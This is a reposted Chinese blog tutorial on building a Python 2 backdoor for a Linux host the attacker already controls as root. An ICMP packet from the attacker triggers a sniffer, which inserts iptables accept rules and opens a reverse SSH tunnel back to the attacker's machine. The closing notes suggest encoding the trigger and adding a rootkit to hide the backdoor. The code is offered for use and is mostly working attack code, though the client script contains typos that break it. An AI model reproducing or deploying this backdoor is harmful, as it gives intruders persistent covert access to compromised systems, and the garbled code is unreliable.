用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python中apply函数的用法实例教程
Jul 31 Python
使用Python编写一个模仿CPU工作的程序
Apr 16 Python
Python函数式编程指南(一):函数式编程概述
Jun 24 Python
pandas将DataFrame的列变成行索引的方法
Apr 10 Python
Python 最大概率法进行汉语切分的方法
Dec 14 Python
python使用wxpy实现微信消息防撤回脚本
Apr 29 Python
Django项目使用CircleCI的方法示例
Jul 14 Python
在pytorch中为Module和Tensor指定GPU的例子
Aug 19 Python
pytorch实现用Resnet提取特征并保存为txt文件的方法
Aug 20 Python
Python打包模块wheel的使用方法与将python包发布到PyPI的方法详解
Feb 12 Python
Keras设置以及获取权重的实现
Jun 19 Python
基于python判断字符串括号是否闭合{}[]()
Sep 21 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
创建数据库php代码 用PHP写出自己的BLOG系统
2010/04/12 PHP
PHP中使用GD库创建圆形饼图的例子
2014/11/19 PHP
JavaScript 图片预览效果 推荐
2009/12/22 Javascript
自己动手制作jquery插件之自动添加删除行功能介绍
2011/10/14 Javascript
jQuery News Ticker 基于jQuery的即时新闻行情展示插件
2011/11/05 Javascript
js 通用订单代码
2013/12/23 Javascript
JQuery实现当鼠标停留在某区域3秒后自动执行
2014/09/09 Javascript
浅谈javascript对象模型和function对象
2014/12/26 Javascript
JavaScript实现16进制颜色值转RGB的方法
2015/02/09 Javascript
Bootstrap精简教程
2015/11/27 Javascript
JS简单获取及显示当前时间的方法
2016/08/03 Javascript
同步文本框内容JS代码实现
2016/08/04 Javascript
JQuery validate 验证一个单独的表单元素实例
2017/02/17 Javascript
使用原生js写ajax实例(推荐)
2017/05/31 Javascript
在vue2.0中引用element-ui组件库的方法
2018/06/21 Javascript
新手快速入门微信小程序组件库 iView Weapp
2019/06/24 Javascript
js+for循环实现字符串自动转义的代码(把后面的字符替换前面的字符)
2020/12/24 Javascript
[02:07]DOTA2新英雄展现中国元素,完美“圣典”亮相央视
2016/12/19 DOTA
Python常用模块用法分析
2014/09/08 Python
python2.7实现邮件发送功能
2018/12/12 Python
实例讲解Python中整数的最大值输出
2019/03/17 Python
python字符串Intern机制详解
2019/07/01 Python
python输入多行字符串的方法总结
2019/07/02 Python
wxPython实现带颜色的进度条
2019/11/19 Python
Jupyter notebook如何实现指定浏览器打开
2020/05/13 Python
基于Python编写一个计算器程序,实现简单的加减乘除和取余二元运算
2020/08/05 Python
Python爬虫实例之2021猫眼票房字体加密反爬策略(粗略版)
2021/02/22 Python
CSS3的Flexbox布局的简明入门指南
2016/04/08 HTML / CSS
盖尔斯工厂店:GUESS Factory
2020/01/21 全球购物
JAVA程序员面试题
2012/10/03 面试题
我爱读书演讲稿
2014/05/07 职场文书
红色旅游心得体会
2014/09/03 职场文书
小学趣味运动会加油稿
2014/09/25 职场文书
小学新教师个人总结
2015/02/05 职场文书
七年级作文之游记
2019/12/11 职场文书
SpringBoot详解执行过程
2022/07/15 Java/Android